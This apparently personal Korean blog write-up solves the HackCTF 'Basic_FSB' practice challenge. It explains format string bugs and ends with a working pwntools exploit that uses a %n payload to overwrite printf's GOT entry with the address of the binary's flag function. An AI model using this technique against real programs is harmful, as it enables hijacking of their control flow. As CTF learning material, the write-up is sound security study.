본문 바로가기

정보보안

[문제해결] HackCTF Basic_FSB 해결과정

 

 

pwnable 문제 3

 

일단 실행부터 해보았다.

입력한 문자열을 그대로 돌려주는 것 같다.

 

 

코드를 차근차근 뜯어보았다.

어셈블리 코드

스택 사용 준비를 해주고(1) ESP를 4바이트만큼 위로 옮기면서 eax에 출력 관련 라이브러리를 로드한다(2). 그다음 스택에 0 2 0을 순서대로 집어넣고(3) eax를 집어넣은 다음(4) _setvbuf라는 함수를 호출을 한다... 스택의 전체적인 모습은 아래처럼 생겼을 텐데

4 실행 후 예상 스택 구조

저 함수는 대체 무엇을 하는 함수인지 모르겠다. 함수 내부로 들어가 봐야겠다.

setvbuf 함수 내부

뭔가 이미 존재하는 함수 같다. 구글링을 통해 저 함수에 대해 알아봐야겠다.

 

<함수 원형>(참고 : C 언어 코딩 도장: 85.20 입출력 버퍼 활용하기 (dojang.io))

int setvbuf(FILE *_Stream, char *_Buffer, int _Mode, size_t _Size);

이 함수의 기능은 버퍼의 크기를 지정하는 것이다. 버퍼는 자료들을 저장했다가 버퍼가 꽉 차거나 개행 문자를 만나는 등 특정한 조건이 달성하면 버퍼 내부에 있는 값들을 뱉어내고 비워지게 된다.

 

함수가 매개변수를 가져갈 때 스택의 맨 윗부분부터 가져가게 되는데 저 모양의 스택을 바탕으로 호출된 함수는

setvbuf(stdout, 0, 2, 0)

정도로 추측할 수 있다. 해석하면 출력 버퍼를 사용하지 않는다는 뜻이다. 자료들이 전달되면 버퍼에 저장되는 것 없이 바로 출력된다는 의미인데 문제 해결의 큰 단서는 되지 않는 것처럼 보인다.

 

add esp, 10h에서 16진수 10은 16이므로 esp를 4칸 내린다.

그러면 esp는 ebp와 같아진다.

이 상태에서 vuln 함수를 호출하는데, 확실히 이 함수는 분석할 필요가 있다.

 

2번을 인자로 받아

printf("input: ");

 

3,4,5를 인자로 받아(16진수 400=10진수 1024)

fgets([var_808 주소], 1024, stdin);

 

6,7,8을 인자로 받아

snprintf([var_408 주소],1024,[var_808 주소]);

 

이런 식으로 함수가 실행되는 것 같다.

얼핏 보면 사용자로부터 fgets로 읽어 들인 문자열을 var_808에 저장한 뒤, 이 문자열을 var_408로 옮기고 printf로 옮긴 문자열을 출력하는 프로그램이다. 하지만, snprintf에는 취약점이 하나 존재한다.

 

printf함수를 통해 "%d", "%c" 등으로 형식을 지정해서 변수와 함께 매칭을 시켜서 출력할 수 있는데, 만약 형식이 지정자가 매칭 된 변수보다 많다면? 이때 일어날 수 있는 취약점을 가리켜서 포맷스트링 버그라고 하는데 이를 통해 다음 2가질 일을 할 수 있다.(출처 : 포맷스트링 공격 - 해시넷 (hash.kr)). 

 

1. 메모리 주소 유출

-> 서식 지정자가 매칭 된 변수보다 많이 있을 때 변수 개수에 상관없이 서식 지정자 개수만큼 읽어드린다. 포맷 스트링으로부터 esp가 한 칸씩 무한대로 내려가면서 읽을 수 있기 때문에 서식 지정자 보다 밑에 있는 모든 데이터를 읽어낼 수 있다.(메모리 유출)

2. 메모리 변조하기

-> %n 서식 지정자를 이용하면 printf 함수를 이용한다 하더라도 데이터를 "쓸 수" 있다. printf 함수를 이용해서 데이터를 쓸 수 있다니 의아하긴 했다.

(자세한 내용은 포스팅을 따로 해야겠다...

 

 

 

flag와 관련된 단서를 출력하는 건지 궁금해서 문자열들을 쭉 찾아보다가 우연히 flag 함수를 발견했다.

보아하니 flag에 접근할 수 있도록 권한을 주는 함수였다.

 

이제 저 flag 함수에 접근하면 문제를 풀 수 있다는 사실을 알았다.

snprintf 이후 함수를 호출하는 코드는 단 한 개.. printf 대신 flag 함수가 실행되도록 방법을 찾아야 했다.

여기에서 포맷 스트링 버그를 이용할 것이다.

 

그런데 포멧스트링 버그.. 진짜 이해하기 힘들었다.

printf와 같은 함수들은 서식 지정자를 만날 때마다 포맷 스트링 바로 밑에 있는 공간부터 시작해서 한 칸 한 칸씩 값을

불러들인다. 하지만, 지정해준 변수들의 개수보다 포맷 스트링에 있는 서식지정자가 많아도 이를 무시하고 서식 지정자의 개수만큼 값을 불러들인다.(크기는 서식 지정자에 따라 다르다.)

 

그리고 printf에는 %n이라는 재미있는 서식 지정자가 하나 있는데, 이 서식 지정자의 경우에는 %n 앞에 있는 문자의 개수를 주어진 주소값에 "쓰는" 역할을 한다. 예를 들어

int a;
printf("AAAA %n", &a);

여기에서는 A 4글자 + 공백 1글자를 합치면 5글자가 되므로, a에 5가 저장된다. scanf처럼 인자를 넘겨줄 때 주소값을 넘겨야 한다는 점을 잘 살펴봐야 한다. 참고로 %n에 해당하는 인자가 따로 없을 경우에도 다른 서식 지정자처럼 현재 가리키고 있는 스택의 위치에서 값을 읽어와 주소값으로 인식한다.

 

그리고 포맷 스트링을 불러왔을때 스택의 모양을 보면 포멧스트링(사실 정확히는 포맷 스트링의 주소값이다.) 밑에 매개변수 등이 쌓여있고 포멧스트링이 담겨있는 문자열이 한번 더 나온다.

 

이것과 포멧스트링 버그를 통해 재밌는 일을 할 수 있다.

만약 포멧스트링의 맨 앞을 주소값을 저장한다면 스택의 밑부분에는 무조건 한번 저장했던 주소값이 한번 더 나타날 것이다. 만약 위의 그림처럼 3번째 위치에 주소값이 저장되어있다면, 세 번째 형식 지정자를 %n으로 해서 저 주소값에 원하는 값을 저장할 수도 있다.

 

이 문제 같은 경우에는

"AAAA %p %p %p %p %p"이런 식으로 입력을 주어 스택을 관찰하면

이런식으로 되어있다. 포맷 스트링으로부터 2칸 아래에 문자열이 저장되어있는 것 같다.

 

 

이 문제의 목표는 printf 함수를 실행했을 때 flag 함수로 넘어가게 하는 것이 목적이므로 printf 함수와 관련되어 있는 주소의 값을 바꿔야 한다.

 

_printf 함수 내부의 모습니다. 저 0x804A00C 안에는 printf 함수의 진짜 위치가 담겨있는데 이제 저거를 flag 함수의 위치로 바꿔야 한다.

 

바꿔야 할 주소 : 0x804A00C

들어가야 할 값 : 0x080485B4

 

이를 기반으로 입력값을 작성해보면

\x0c\xa0\x04\x08%134514096x%n

 

\x0c\xa0\x04\x08은 0x804A00C를 의미하고
%134514096x는 문자열 길이를 맞추기 위해 사용한 것이다.

%n을 통해 들어가야 할 숫자는 0x080485B4를 10진수로 바꾼 134514100이다.

하지만 앞에도 글자가 있으므로 그만큼 문자열 길이를 줄여줘야 한다.

 

134514100 = [\x0c\xa0\x04\x08의 길이 = 4] + [%x]의 길이이므로

[%x]의 길이를 134514096으로 해주어야 %n을 통해 올바른 값이 전달될 수 있다.

 

 

그리고 4바이트씩 데이터를 읽게 되면(위 스택 그림 참고) 첫 번째 인자인 %134514096x에는 0이 전달되고,

두 번째 인자인 %n에는 그다음 4바이트인 \x0c\xa0\x04\x08, 즉 printf함수의 진짜 위치를 담고 있는 주소 값이 전달된다.

아래 코드를 실행함으로써 %n을 통해 134514100가 전달되어 printf함수의 위치가 담겨있는 주소 값에 flag함수의 위치가 들어가게 된다.

 

<attack code>

from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3002)


print(p.recv(timeout=1).decode())

data = p32(0x0804A00C)
data += bytes('%134514096x', 'utf-8')
data += bytes('%n','utf-8')
p.sendline(data)
print(p.recv(timeout=1).decode())

#p.interactive() 생략

 

<결과>

 

어려운 개념인 포맷 스트링 버그를 24시간 만에 드디어 이해하게 돼서 매우 뿌듯하며

이 내용은 다시 한번 정리해야 할 필요성이 느껴진다.